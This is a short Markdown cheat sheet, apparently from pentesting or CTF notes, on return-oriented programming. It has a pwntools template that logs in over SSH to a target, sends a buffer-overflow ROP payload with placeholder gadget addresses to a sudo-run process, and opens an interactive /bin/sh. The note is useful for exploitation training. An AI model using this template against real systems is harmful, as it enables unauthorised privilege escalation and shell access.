29 lines
507 B
Markdown
29 lines
507 B
Markdown
# ROP Chaining
|
|
|
|
## Usage
|
|
|
|
* Find cyclic buffer size
|
|
* Find gadgets via `ropper` or even better `ropstar`
|
|
|
|
## Example
|
|
```python
|
|
from pwn import *
|
|
|
|
s = ssh(host="$TARGET_IP", user="<user>", keyfile="", password="")
|
|
p = s.process(['sudo', '<process>'])
|
|
|
|
offset=<found_offset_len>
|
|
|
|
# take the ropchain from ropstar
|
|
payload = cyclic(offset)
|
|
payload += p64(0x4711)
|
|
payload += p64(0x235)
|
|
payload += p64(0x007)
|
|
|
|
print(p.recv())
|
|
p.sendline(payload)
|
|
print(p.recv())
|
|
p.sendline("/bin/sh")
|
|
p.interactive(prompt='')
|
|
```
|